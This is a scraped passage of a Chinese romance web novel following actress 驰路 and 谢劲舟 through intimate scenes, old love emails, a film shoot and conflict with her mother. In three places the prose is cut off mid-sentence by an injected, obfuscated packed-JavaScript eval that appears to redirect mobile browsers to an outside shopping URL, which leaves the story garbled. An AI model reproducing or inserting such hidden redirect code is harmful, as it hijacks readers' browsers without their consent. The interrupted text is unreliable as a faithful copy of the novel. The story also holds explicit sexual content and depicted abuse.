我要抓住我的蝴蝶,再也不放手。 …… 谢劲舟埋头,窝在她纤细的脖颈里,一遍遍地含吮着,似要将她身上溢出的玫瑰芬芳全都夺走,在原有的痕迹上继续添上新的,一次比一次吻得深、吻得重。 驰路在他强势的进攻下,不得不仰起脆弱纤长的脖颈。 这次亲密跟昨晚的完全不同,昨晚,驰路是迷糊的,但这次是清醒的,能清晰地感到他触摸的每处都像在燃烧一场熊熊大火,烧得她的肌肤忍不住颤栗。 他的手一路向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560821|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,起初力度很温柔、很轻,仿佛掠过一阵似有若无的微风。 却偏偏是这阵风,撩/拨得她的心越发痒,倒不如直奔主题来得干脆。 他这样循序渐进的,最磨人,也最勾人。 一步步将你,毫无知觉地带入他掌控的世界。 他没有其他举动,倒让驰路有点着急,抓住他头发的手,控制不住地越发紧了,溢出变低变软的话:“谢劲舟,亲我!” 谢劲舟从她的颈窝里抬头,看到满脸绯红的驰路,她原本就妩媚漂亮,此刻的她像被万丈霞光笼罩着,泛出的每一抹红晕,都似人间宝藏,令人着迷。 谢劲舟用宽大的手掌扣住她的脖颈,嘴唇移到她的耳边,咬着她的耳骨,低沉的声音,诱人无比:“驰宝,你要我亲你哪里?” 这句话,宛若一枚重磅炸弹,炸得驰路的每粒细胞都沸腾。 仿佛在说“驰宝,你想让我亲你哪里,我就亲你那里”。 他的另一只手不停地抚摸着她的腰,痒意横生。 驰路想侧过头吻他,他却一下子避开,一把将她按倒在床上,看着她脚踝上的酒红色文身,上面有字母、有蝴蝶,还有新添的“zhou”。 她的脚踝又细又白,宛若藕节,文身性感、妩媚、野性。 谢劲舟低头吻下去,每一次都在狠狠地亲。 他又变回了那只难驯的野兽,谁也驯服不了他,谁也无法让他弯腰低头。 直到驰路用羞红的可怜双眼看他,说了句“舟哥,爱我”。 “驰宝,是你说要爱你的,接下来,别怪我。” 谢劲舟达到目的,他的蝴蝶,心甘情愿跟他。 他甘拜于主人,在一场隐秘又盛大中臣服。 主人此刻变成高高在上的神明。 而他却变成了最忠实的信徒。 每次的欣赏,都是一场神圣的顶礼膜拜。 窗外的雨有多大,室内就有多旖旎。 雨声成了伴奏,雷声成了鼓点,为神明和信徒奏乐。 他们清醒地抱着对方,信徒看着神明迷离的眼睛,喉结上下滚动:“驰宝,还没爱够?” 驰路看着他胸膛上的旧日伤疤:“蝴蝶可以多煽动几次翅膀。” 谢劲舟终于俯身吻上了她的唇,凶狠猛烈,边吻边说:“驰宝,我会让蝴蝶狠狠煽动翅膀!” 谢劲舟向来说到做到。 在他生命里走失了六年的小姑娘,如今失而复得,他成了世界上最疯狂的野兽,疯狂攫取。 她成了一只失语蝴蝶,身体里装着十八岁那年的夏天。 炙热的、热烈的、滚烫的,都是彼时少年。 她开不了口、煽动不了翅膀,却甘愿做他的绝笔,在情书那一页落下每个爱他的瞬息。 阿驰,你再次属于我了! 我的蝴蝶,狠狠地煽动翅膀了! 从卧室到浴室,他们是两只严丝合/缝的小兽,彼此索取着、进攻着。 所有的冰冷,都变成了炽热的海洋。 他们是两个人,却一次次成为了一个人。 深情动容之际,谢劲舟吻着她颤抖、湿润的纤长眼睫,听到他说:“驰宝,有没有感受到,蝴蝶是不是飞得很高,翅膀是不是煽动了很多下?” 驰路在信徒的进攻下,已成了节节败退的神明,眼眶泛红,流出生理性的眼泪,声音破碎到不行:“舟……哥……我……看……到……蝴……蝶……了” 她是落了灰的情书,他要抹掉灰,唤醒她,让她知道,爱可以翻越万重山,也可以令人震颤。 她是蝴蝶,在他一次次的冲撞中振翅飞翔。 这不是梦,他们也没有在逃亡,他们是彼此的惊涛骇浪,迎着浪漫盛放。 心动,一如既往。 他的蝴蝶飞回来了。 他终于,得偿所愿。 你是我的!从十八岁,一直到现在! 你是我的蝴蝶,是人间的一场盛宴。 105. 驰宝,你真香 「从没这么在意过一个人,你是第一个。 我会把我所有的心动和喜欢,不遗余力地奉献给你! 全世界,信徒最爱她的神明。」 ——《小蝴蝶的自由》 昨晚刚下过雨,雨后的云雾山空气清新、万物苏醒,谁都不知道昨晚发生了“驰路失踪”事件,《密林深处》照常拍摄。 剧情进入到陈醉面对自我意识渐渐苏醒的祁梦,掌控欲愈发强烈,会在四人一起吃饭时,在桌底抬腿从她的小腿往上,再用手试图摸她大腿。 祁梦用各种行动反抗他的举动,他却变本加厉,直接将手快速撩开她的旗袍,在她的大腿内侧狠狠一拧,疼得祁梦再无法忍受,怒视陈醉:“陈醉,你还让不让人好好吃饭?” “给你们重新介绍一下。”陈醉一把揽住祁梦,诡异地笑着跟陆程真、林墨说,“她是我女朋友,之前没告诉你们,是因为她还没答应,这不,几天相处下来,被我追到手了,是不是啊,阿梦?” 祁梦没给他一点面子,将他的手挡掉:“谁是你的女朋友!从现在开始,不是了。”说完,放下筷子,怒气冲冲地往外走去,陈醉紧随其后。 陈醉几乎是把祁梦拖拽着往别墅杂草丛生的后院走,把她一把甩到墙上,见她要喊,捂住她的嘴就开始胡乱撕扯她的旗袍。 她像一只破碎蝴蝶,拼命挣扎着要逃离陈醉的魔爪,但力量悬殊,怎么也挣不脱。 监视器里的驰路演技飙升,把祁梦的痛苦、愤怒、挣扎演绎得很到位,她眼眶里一直蓄着眼泪,迟迟没有落下,尽显克制的破碎感。 “谢老师,你怎么这副表情,是我们驰老师演得不好吗?”小苏看着紧蹙眉头的谢劲舟,格外纳闷。 谢劲舟佯装没事地说:“演得很好。” 小苏挠挠脖颈:既然演得很好,怎么一副醋意大发的样子啊,奇怪啊奇怪! * 中场休息,小苏看到驰路一直靠在别墅后面的一棵树下看手机,在看什么,看那么久,看那么入神? 她悄悄地朝她走去,小步放得很轻,想看看,驰姐在看什么。 驰路看得专注,丝毫没注意到小苏来了。 小苏亦步亦趋地走到了驰路身后,把脑袋伸过去,脖子伸长,像只长颈鹿。 是电子邮件! 发件人:z 小苏只看到了一个“z”,便被驰路发现了。 “小苏,你干吗?”驰路一把将手机翻转过去,侧头看小苏。 “啊……”被抓包的小苏特尴尬,本来就不知道怎么说话的她,此刻说了句,“驰姐,你在看什么啊?可以告诉我吗?” 亲密的人,不应该共享秘密嘛。 驰路的眸子登时一沉,她知道小苏这人没心眼、傻白甜,但这也太没边界感了:“小苏,不是什么事都可以跟别人分享的。你去忙你的,可以吗?我想一个人待会儿。” 小苏再迟钝,也察觉到了驰路的情绪,连忙说:“对不起啊,驰姐,我……就是一时好奇,我现在就走。” 小苏说完,连忙麻溜地转身往回走,一边走一边纳闷地想:什么事对驰姐这么重要,连她这么亲近的人,都不愿分享。 待小苏走后,驰路又接着看。 其实,这是她今天第三次看了。 昨晚在她跟谢劲舟几番亲密后,最后他还有精力帮她洗澡、抱她回卧室、把她圈在怀里,咬着她的耳垂说:“驰宝,你真香,你真棒!” 甚至,他的手还想有下一步动作,被她拽住:“舟哥,你放过我吧。” 外面的雨声依旧,有她陪着,没过多久,谢劲舟便入眠。 驰路心里惦记着一件事,没有丝毫睡意。 她特别好奇这六年来,谢劲舟给她的邮件都写了什么。 她从枕边摸到手机,点开邮件,每封都不长,一封一封地看。 每一封上的每个字,她都要看好久好久。 即使过了六年,每个字都像谢劲舟在当着她的面,一字一句地跟她说。 那么诚恳,那么真切。 她的心,被邮件上的每个字牵扯着,一点点地拽着她。 像从高空下坠的一颗球,由不得自己地往下坠落。 她好似时光的偷渡者,一遍遍地啜饮着旧日篇章。 篇章里的每个字都在她的心间猛烈震动,宛若袭来一波波声势浩大的地震。 握着手机的手越来越紧,心头的酸涩层层蔓延开。 【阿驰,没能去送你,对不起!】 【阿驰,那个浑蛋死了。我好像又回到了两年前,我的世界,没有光了。】 【我好像又活在烂泥里了,在这里,看不到星星,也看不到太阳。太阳,什么时候才会升起?】 【驰老师,谢谢你送我的语数外重点题笔记,对我的学习很有帮助。】 【阿驰,我考上北京的大学了!我没有食言,我兑现跟你的约定了。】 …… 【阿驰,你还爱吃白桃味的棒棒糖吗?今天我路过一家小卖部,买了一桶,一天一根,替你吃。】 【阿驰,我路过一家首饰店,橱窗里摆着蝴蝶吊坠的项链,很适合你!我买了下来,不知道有没有机会送给你。】 【阿驰,我看到一朵云踩着晚霞,看到一缕风摇晃着树枝,看到一只野兔路过人间,一切都这么美好。世间万物皆美,却美不过我的蝴蝶。】 【阿驰,你过得好吗?】 【阿驰,我想你了!】 …… 【我去看老妈了,这天风很大,又下了雨,是老妈在哭吧。我很难受,不只为没有妈妈了,也为没有你了……】 【阿驰,19岁生日快乐!不要活在别人的言语里,要活在你热爱的万事万物里。】 …… 【奶奶的“好再来”面摊做得不错,小乔的成绩也一直挺好。】 【照进静心小屋的第一缕阳光很灿烂,鱼缸里的鱼又换了一波,院子里的洋桔梗也开花了,有一只蝴蝶停在上面。可惜,你不在。】 …… 【好多人追我,你怕不怕?】 【阿驰,20岁生日快乐!祝你走的路繁花似锦,看的天空星辰漫天,祝你成为耀眼的星星。】 …… 【都说猛兽独行,牛羊成群,我独来独往,算不算猛兽?】 …… 【阿驰,21岁生日快乐!希望你勇敢,敢闯难关,敢踏险滩,敢破万难。】 【梦见你回到我身边了,是一场梦,却又像一场清醒的真实。】 【玫瑰花开了,酿了一瓶玫瑰花酱,想送你,却没法送出去。你说,可不可悲?】 …… 【奶奶看到你演的偶像剧,说你演得很好,让我去看,我没看。因为,奶奶说,有你跟别人的接吻戏。老子不看!】 【小乔问我,什么时候才能见到阿驰姐姐,我说,以后会见的。以后会是什么时候,其实,我也不知道。】 【阿驰,22岁生日快乐!祝你站在哪里,哪里就是风生水起。】 …… 【我的蝴蝶,今天我看到你了,舞台上的你,光芒万丈,你终于成了闪闪发光的蝴蝶!恭喜!】 【我的蝴蝶,成大明星了,这是值得我夸耀一辈子的事。】 …… 【你在人群中,依然那么耀眼。】 【你唱的那首《十八岁的幻想》,我听了不下一百遍。】 【驰大明星,23岁生日快乐!愿你做一只自由无畏的蝴蝶,不用永远闪耀,但要永远年少。】 …… 【啤酒泡沫炸开了,发出噼里啪啦的声音,可惜,观众只有我一人。多希望,你在。】 【阿驰,老子完了!】 【我被困住了,困在了,18岁那年的盛夏。】 …… 每封邮件名都一样——【我的蝴蝶】。 每个字像沸水从她心间滚过,烫得她的心间发颤。 他明明不是掌管世界的神,却在这一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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20岁那年,她的演艺事业走得越来越顺,跟导演有一腿的事得到了澄清,之前是有心人故意借位拍照发出的谣言,她饰演女三号的那部戏因演技好上了热搜。 21岁那年,作为女二号,陷入跟男主角的风波,被网络暴力勾引男主角,想借他的名,捆绑CP。 22岁那年,她饰演的女二号荣获最佳配角奖。 23岁那年,她饰演女一号的偶像剧《摇摇晃晃的青春》荣获最佳女主角奖。 这六年,在娱乐圈的每一步都走得不易,诬陷、造谣、诋毁不断,明争暗斗地争角色,明里暗里地捅刀子。 她走过红毯、登过舞台,也陷过低谷、泥淖。 她以为这些经历,都只是一间间暗房,不会有人推开,看一看里面的人过得怎么样。 驰路却没有想到,谢劲舟每年发的独白、送给她的生日祝福,都在推开她紧闭的那间暗房,告诉她,他一直都在,从未离开。 如果能早点看到这些邮件多好,她也不至于独自常常在只亮着蜡烛的房间里失眠到天明。 谢劲舟,谢谢你,在我不知道的时光里,坚持不懈地为我写了78封邮件。 假如这世上有坚贞不渝,一定是你的样子。 她任由眼泪肆意,侧过头,望着枕边的少年。 他的脸部轮廓依旧那么锋利好看,时光并没有在他脸上刻下岁月的痕迹。 仿佛,他还是十八岁的少年。 驰路抬手,抚上他左边嘴角下方的那颗痣,指腹刚触碰到,心尖便猛地一颤。 他像荒原里绵延不绝的野草,她一踏入,便被重重包裹。 再无抽离的可能。 漫长雨季终于过去,他们走出荒原,成为了彼此的浪漫主义。 106. 处处留下缱绻的痕迹 「神明再高贵,也可以低下头颅。 而我,只为我的信徒低头!」 ——《神明降临》 “地球引力”酒吧,舞池里歌舞升平,舞台上的“清白乐队”正演奏着《带我去找夜生活》。 罗子昂坐在最前面的VIP专区,视线一直注视着舞台上的键盘手,她留着一头男生一样的短发,穿着中性马丁靴、黑色工装裤、黑色皮夹克,脖子上戴着蛇骨链,随着有节奏地弹琴而在颈间摇晃。 这姑娘,还是那么爱穿她哥的衣服! 罗子昂见此,常常醋意翻涌,但没辙,谁让程佑白是她哥。 他卖力地挥舞着手中的应援牌,余光瞥见身旁的谢劲舟。 他喊他过来喝酒、看“清白乐队”的演出。 结果,这人倒好,从进来到现在,一直低着头刷手机。 在看什么,非要看这么久? 罗子昂一侧头,瞥见他正在啪啪地敲着信息,最上面写着【我的蝴蝶】。 看到的一行字是:驰宝,老子在想你! 我艹!!! 这两人什么时候和好了! 罗子昂像发现了新大陆,八卦的小马达瞬间启动,放下应援牌,用手肘撞了下谢劲舟,凑到他耳边:“舟哥,你终于拿下驰妹啦!” 谢劲舟扬了扬下巴,露出上位者夺了旌旗的笑容,点了点头。 他并不避嫌,反而格外大方地把手机屏幕递给他这个死党。 “我艹!!!”罗子昂看得痛心疾首,捂住胸口,胸口如被利剑刺中。 可以炫爱,但这么炫爱的,是要单身狗的命啊! 【zhou】:驰宝,在做什么? 【我的蝴蝶】:刚洗完澡,舟哥在干吗? 【zhou】:驰宝,老子在想你! 【我的蝴蝶】:舟哥,我也想你! 【zhou】:等我,我去找你! 【我的蝴蝶】:找我干吗,都这么晚了。 【zhou】:老子想让我的蝴蝶飞翔。 【我的蝴蝶】:好,你来。我等你! 这……这……这…… 罗子昂看得万箭穿心,这不是投喂狗粮了,而是谁看谁眼瞎! 他快看哭了! 终于知道为什么他的心总是湿漉漉的,原来是他太耿直,不会撩妹。 而他身边这位谢大佬,却是撩妹的一把好手。 “舟爷!”罗子昂饱含热泪地拽住谢劲舟的衣袖,就差跪下喊他“爹”了,“你快出一本《一千种撩妹指南》,我会做你第一个读者,买个十本二十本!” “罗刺猬,十本二十本哪够,最低一千本!” “……”舟爷,你就是21世纪最没人性的剥削家! “爷跟你说,喜欢可以藏着掖着,但爱一定要强势出击!”谢劲舟朝他做了个“加油”的动作,随即跟他说,“爷先撤,你,继续加油!” 好一个“你,继续加油”,仿佛在往罗子昂的胸□□箭。 他看着谢劲舟离去的背影,又看了看舞台上酷飒弹键盘的时清,心啊,一阵一阵地滴着血。 …… 到酒店,谢劲舟乘电梯上去,看着面板的数字一下一下地跳动。 明明速度挺快,他却觉得很慢,恨不得立刻冲到驰路身边。 每一个不跟她在一起的时刻,时间都像在虚度。 今天要不是罗子昂一定要拉着他去散心、喝酒,此刻,他会在驰路身边。 “滴”,随着一声响,电梯门缓缓打开。 打开的瞬间,穿着一身黑色蕾丝吊带的驰路,骤然出现在面前。 仿佛从黑暗中乍现的一束光亮。 她怎么在这里?谢劲舟愣在原地。 电梯门快要关上时,驰路一把将谢劲舟拽出来,扑进他的怀里。 “阿驰,你做什么!”谢劲舟并没有被她“在电梯门口迎接自己”的举动感动,反而面露不悦,一把将她推开,沉着脸,压低声音,“你是明星,不能有绯闻。” “知道了。”驰路嘴上虽然这样说着,却还是往他怀里钻,边钻边说,“这样别人就看不见了。” 谢劲舟看着把脑袋深深地埋在自己胸膛里的驰路,像只可爱的鸵鸟,禁不住勾唇,一把将她打横抱起。 “谢劲舟!”驰路被他突如其来的举动吓了一跳。 “怎么了?”谢劲舟看着怀里红了脸的驰路,挑了挑眉,“不是不想被人看见吗,老子成全你!” 行吧,既然你愿意抱,我就让你抱。 驰路在他怀里,可一点都不乖,抬手摸上他脖颈处的字母文身,一下下地刮着。 “驰路!”谢劲舟被她刮得心头拱火,掐了掐她纤细的腰。 “舟哥~”驰路的嗓音原本低沉,但此时捏着嗓子喊,倒有几分勾人心魄的风情。 谢劲舟加快了步子,刚刷卡进了门,便立刻将她放下,把她摁在门上,将她的双手举到头顶,单手狠狠地压着,另一只手勾起她的下巴,强势地让她仰起脖颈,疯狂地吻她。 细细密密的吻,如同暴雨,砸在她的唇上。 他狠命地碾着她的唇,来回摩挲着,偏偏不进去,勾得驰路的身体泛起阵阵燥热。 她张唇,想要伸舌,却被他顶了回去,像是一种无声的惩罚。 暧昧,如潮水般,在两人之间涌动。 门边、沙发、浴室,处处留下他们缱绻的痕迹。 世界,在驰路面前越来越模糊、越来越迷离。 驰路的身体彻底软麻,窝在谢劲舟怀里,被他抱回床上。 谢劲舟看着怀里脸颊红得像晚霞的驰路,来回摸着她右眼尾的那颗胭脂痣,低头叼起她的唇珠,轻轻地咬了一口,像只没吃饱的野犬。 “谢劲舟,你够了!”驰路抬起虚软的手,却发现连推开他的力气都没有。 幸好,这人自觉,乖乖地躺在了她的身侧,伸出一只胳膊,将她的脑袋枕上去。 驰路看着谢劲舟,发现他的睫毛很长,抬手轻轻地扫着:“舟哥,你知道你都用多少盒T/T了吗?” “怎么,嫌用得不够多?”谢劲舟抓住她的手,放在嘴里,含着,越含越深。 驰路的脸红透了,半晌,看似平静地说:“已经用没了。” “知道了,现在就下单,买一箱。”说完,谢劲舟作势要去拿手机。 驰路连忙抓住他的手腕,心里升起一连串的黑人问号脸。 什么?一箱? 他这是不要命?顺带,也让她不要命的节奏? 驰路怎么能让他放纵下去:“明后天,不可以了。” “什么叫不可以?”谢劲舟把她散落在脸颊的碎发撩到耳后,“你不是很爽吗!” “谢劲舟!”驰路的脸越发红了,被他赤裸裸地说出来,泛出一丝羞耻感。 “驰宝,你知道的,我喜欢你,也喜欢你的身体。”谢劲舟看着她的眼睛深情款款,说出的每个字都似含着火,烧灼着她的心,“老子要占有你,直到世界毁灭!” 驰路被撩得心头泛出一丝甜,勾起狐狸眼:“好啊,谢劲舟,我允许你用一辈子来占有我!” 谢劲舟的吻倏忽间袭了上来,根本不管她的身体软不软,只想把爱意贯穿。 爱意的最后,小姑娘很快在她怀里睡着了。 谢劲舟低头看着怀里的小姑娘,觉得这几天,恍若一场梦。 梦境深远,梦境又甜,仿佛喝了一杯十分甜的饮品。 他永远记得,在他深受内心谴责时,她跟他说:“你可以不用活在烂泥里,你也不是被世界遗弃的那个。既然你要在风暴中起舞,那就舞出生命的意义!” 在他走不出去内心的阴霾时,她跟他说:“假如火焰熄灭了,玫瑰枯萎了,每个深夜,我们总会等到月亮。就算月亮不会升起,我还会陪着你。” 六年前,她突如其来地闯入他的世界,给了他独一无二的光,驱散了他黑暗世界里的迷雾,照亮了他的前路。 她早已镌刻在了他的骨骼里,从过去到现在,至死不渝。 那些重逢后的“只要远远看着她就好”的情绪,在多一次见到她,就面临一次崩塌,尤其她身边还有对她照顾有加的周柏屿。 他不能让别人捷足先登,他要抓住这只蝴蝶,停留在他身旁。 罗子昂上次见他跟他说过:“舟爷,你这辈子逃不掉驰妹了。” 是啊,他逃不掉了。 既然逃不掉,就投降吧。 神明永远臣服于他的信徒! * 演戏的这段时间,谢劲舟跟驰路的相处,人前客套谦逊,人后却肆意狂妄,一次次在她的脖颈处留下吻痕、一次次在无人的角落撩得她心痒难耐。 驰路当仁不让,也在他的脖颈处、肩膀上、锁骨上都吮吸出草莓印。 但她从来没赢过他,他在她身上留的草莓印总比她多,她不服,他就咬她耳朵,哄她:“谁留的多,证明谁爱谁多一点。驰宝,我爱你,永远会比你多一点。知道为什么吗?” 她不想去猜,摇了摇头,谢劲舟说:“因为,相比信徒的爱,神明的爱永远占上风!” 驰路心间充盈开满满的甜,主动在他脸上啄了一口,继而凑到他耳边,呼出热气,一字一字地说:“信徒甘拜下风!” 谢劲舟没再找傅老师指导演技,而是将要演的部分演给驰路看,用不同的方式一遍遍地演,她作为旁观者会给他一些指导。 两人对戏的时候,驰路时不时跟他说:“眼神该收收了。” “收什么?” “爱意太浓了。” “你知道我为什么能试镜成功?” “为什么?” “顾导说,只有我在试镜时,看你的眼神,像看炽热的太阳。” 谢劲舟说这话的下午 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560823|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,驰路休息间隙,翻开了《彩画集》,发现其中一页多了熟悉的字迹。 那一页被她折了角,有她划线的一段话: 整个太阳是残酷的 整个月亮是苦的 辛辣的爱情使我满身麻醉 龙骨崩散,沉入海底【注1】 在空白处,有人用笔写着几段话: 我永恒的灵魂 注视着你的心 纵然黑夜孤寂 白昼如焚【注2】 这些字的大小一样,唯独有一行字字号最大: 我的灵魂,只为我的信徒疯狂! 谢劲舟这人,学六年前的她啊! 驰路勾起唇,甜蜜一点点漫上心头,拿起笔在最大的那行字下面写: 我的喜欢,永远给唯一的神明! …… 这样甜蜜的时光并没有持续多久,因为路漫来了,给驰路打电话,她死活不接,给小苏打电话让她接,她也拒绝,完全是一副油盐不进的样子。 路漫来之前并没有告诉驰路,那天来,正好赶上驰路跟谢劲舟演亲密戏,她到的时候,看到谢劲舟正牵着她的走在山间跑,跑累了,躺在草地上,谢劲舟侧头吻她,爱意绵绵。 她当时听说了剧组换了演员,也从热搜里看到换的演员是没有任何演戏经验的谢劲舟,她得知后第一时间就给顾辞山打电话,问他为什么会选择谢劲舟。结果顾辞山的一句话把她堵得哑口无言:“因为他就是我心目中的陆程真。” 他来演就演吧,她管不了,但她没看过剧本,不知道原来他跟驰路竟然在剧里有暧昧戏! 路漫一直咬牙忍着,小苏颠颠地给她拿来一瓶冰镇气泡水,路漫像跟气泡水有仇似的,用力拧开盖子。 小苏在心中直呼,大事不妙,路老板娘有杀人的架势!看来驰姐难逃一劫了。 驰路刚拍完这场戏,路漫连忙把她拽去。 当着众人,驰路给她面子,没有甩开她,顺从地跟着她到了一片无人的树林里。 但一到树林,驰路的不驯本性毕露,甩开路漫。 “你不是很忙吗?怎么有空来找我?”昨晚,驰路给路漫打电话,让她取消一家杂志的连麦,结果她非但不答应,电话那头还传来男人的声音,是陌生男人的,娘里娘气地喊她“宝贝”,她又换男人了。 这是她的私事,驰路不想管。 老妈跟李浦外面都有人,谁都当不知道,谁都不管谁,只是在公众面前,还维持着“模范夫妻”的形象。 驰路也渐渐明白,爱情玩玩而已,是老妈的准则,但不是她的。 爱情不是用来玩的,是用来认真对待的,就像她跟谢劲舟。 如果跟对方交往,只是玩玩,那一定不是爱,而是一场你来我往的游戏。游戏会有终结的一天,但爱没有。 “我忙就不能来找你吗!”路漫双手环胸,摆出高高在上的姿态。 驰路有时候想,自己身上带的那股傲劲儿就是随老妈的。 她们在一起时,像两只刺猬,一靠近就能刺伤对方。 驰路见惯了老妈这样,淡淡地掀了掀眼皮,问她:“什么事?” “《潮流》杂志的采访,安排在这周六,不能取消。”路漫翻出手机备忘录,“还有,下个月中旬的香水广告的拍摄,下个月月底的《FREE》杂志的拍摄,都不能取消。关于拍摄的,我跟合作方说好了,都安排在青宜市,你不用回北京。” “妈,你把剧组当什么了,你以为跟顾导请假那么容易?”驰路不满,“别做这种事了,这是我的第一部电影,我要全身心投入进去,如果要给什么违约费,你从我的片酬里扣。” “什么都是从片酬里扣,你以为赚钱那么容易?”其实,路漫根本还没跟对方签合同,只是先答应下来了。 “随你!”驰路态度坚硬,“我不去,谁爱去谁去!” “你给我回来!”路漫一把抓住她,将她拽得往后踉跄地退了几步,差点摔倒。 驰路站稳后,不耐烦地看她:“妈,你什么时候才可以尊重我?什么时候才会觉得我比钱重要。” “你说什么!”路漫甩开她的手,“你以为我给你排满档期是为了谁,还不是为了你,如果我不在乎你,我会给你安排这么多好资源?” “呵。”驰路嗤笑,“这么多好资源,我不要,你爱给谁给谁!” 驰路转身又要走,听到路漫在后面说:“何导的新电影在选女主角,你不接这些资源可以,何导那边,看来我也没必要去说。” 驰路咬了咬牙,这是路漫惯用的手段,说到做到。 路漫知道她在乎什么,就用她在乎的威胁她,逼着她乖乖就范。 驰路转过身,不情不愿地从牙缝里挤出一个“好”。 她不想再搭理路漫,抬腿往前走,听到路漫在她身后说:“驰路,别让我听到你跟谁传出绯闻,尤其是谢劲舟!” 107. 小蝴蝶被打了 「我不想当什么歌颂者。 我想有人在我落难时,稳稳地接住我。 碰壁的人生可以让人成长,但我不要时时经历。 我要我的生命永远鲜活、永远自由。」 ——《小蝴蝶的自由》 这些天,路漫一直都待在剧组,驰路跟谢劲舟收敛了,在剧组的小动作少了很多,即使去了酒店,也难有接触的机会,因为路漫成了驰路房间的常驻嘉宾,尤其是晚上。 不过,这不能阻碍两人暗度陈仓,驰路会在路漫走后,告诉谢劲舟,谢劲舟会悄悄过来找驰路,将积攒了一天的思念都嵌入她的身体里。 这样的日子持续到月底,路漫看出驰路跟谢劲舟没有什么,才放心地打算回去。 路漫想要回去的前一天,《密林深处》的剧情进行到两起女性失踪案毫无头绪时,事情有了进展,警察林墨收到了陌生号码发来的一张照片,照片上有一个背影。他放大背影,发现这个背影跟陈醉很像,而且地点好像在迪娜的房间,谁给他发的照片?陈醉为什么会在迪娜房间?他抬起的双手在做什么? 出于警察职业的高警惕度和觉察力,林墨将线索转移到陈醉身上,暗里想搜集有关于他犯罪的证据,想从他的话里套出一点信息,但对方的警惕性很高,并未跟他透露出一点他想知道的信息。 祁梦那边陷入被迫承受陈醉折磨的境地,他拿她的亲妹妹威胁她,如果她不乖乖听话,她妹妹的清白就不好说了。 陈醉对她的折磨变本加厉,在床上绑住她、不分轻重地打她,把她摁到浴缸里,直到她快要溺死才松开。 在她快溺死的边缘,他尽情地在她身上索取。 他是猛兽,非要一次次撕咬她,一次次让她疼,才会餍足。 每次的最后,她都快要死了,他就会在她耳边又温柔又凶狠地说一句:“阿梦,我爱你!你哪里都不准去,你这辈子都是我的!” 他的疯批属性完全显露出来,祁梦走进了一场噩梦,这场噩梦没有尽头。 驰路把祁梦想反抗却没法反抗、想挣脱却没法挣脱的情绪演得很到位,她浸入水中,一次次被摁下去,为了演出真实的溺水快死的感觉,她主动要求摁120秒,120秒是她能承受的最大极限。 溺水的情节,为了呈现不同的演绎方式,顾辞山让演了三次。 这三次几乎要了驰路的命,每次在水下无法呼吸的120秒,她都觉得自己真的陷入了无望之境,想起了在精神病院待的那段时光,她以为自己永远不会出来了,也永远不会有人在乎她的死活了,她不过是这个世界的弃子,是死是活,跟谁都没关系,就连她自己,也不在意了。 所以,当她每次被周柏屿拽着头发离开水面时,除了会演出张大嘴巴大口喘气的求生欲,更会演出被现实掌控的绝望和悲痛。 她脸上全是水,如果仔细看,会看到她红了的眼眶和眼睛下方蜿蜒的水痕,混在水里,有一种真实的克制的破碎感。 换做以前的祁梦,大概早就哭了,演这场戏前,她跟顾辞山沟通要不要哭,要不要呐喊,还是平静面对,顾辞山说,都可以来一遍。 三次演绎中,一次演泪悬眼中,一次演无声落泪,最后一次演大声呐喊、拼命挣扎。 呐喊声震天,没有配乐,也能让每个在场的工作人员感同身受,不少人都看哭了。 谢劲舟看得揪心,为剧中自我意识觉醒不久却无力挣脱命运枷锁的祁梦,也为拼劲全力演戏的驰路。 他见不得她哭,她的每一滴眼泪不只是落在她的脸上,更像狂风骤雨,砸在他的心上。 拍完这场戏,谢劲舟很想第一时间给她擦擦湿透的头发,也很想给她一个拥抱,但他不能,最后只是给她发了一条信息:阿驰,你很棒! 驰路收到这条短信时,嘴角勾起一抹笑。 路漫看到了,问她有什么喜事。 驰路立马敛唇收笑,冷然地跟路漫说:“没什么。” 这大半个月过去了,驰路一直有种被路漫监视的不爽感,平时跟她的相处也都针尖对麦芒,但更多时候,驰路懒得搭理她。 她这种以爱为名的监视,她不要! 路漫公然要抢她的手机,被驰路立刻放在了身后,大步往外走。 “阿驰,你去哪里!” 驰路不想让路漫跟上来,只好停下来,转身跟她说:“我想一个人出去透透气。” 言外之意就是,你不要跟过来了。 驰路走到无人的树林,抖出一根烟,刚要点,却有人先一步帮她点上。 打火机是银色的,上面有半只翅膀。 “舟哥,你怎么来了?”驰路抬头去看谢劲舟。 他还是戏里的穿着,只是摘了头套,露出雾霾蓝的头发,右侧的那道X,张扬又醒目。 谢劲舟也抽出一根烟,从她的烟上渡火,烟雾在两人之间萦萦绕绕地散开。 谢劲舟懒懒地靠到树上:“为什么不回信息?” “没来得及。” “是不是还没从戏里走出来?” “有点。”其实不只是有点,但她不想让谢劲舟担心。 “我看不只有点吧。” 她有点什么情绪,总逃不过他的眼睛。 这场戏是驰路演戏以来情绪最浓烈的一次,几乎夺走了她所有的悲痛和绝望,她现在好像还是被陈醉折磨得不像人样的祁梦。 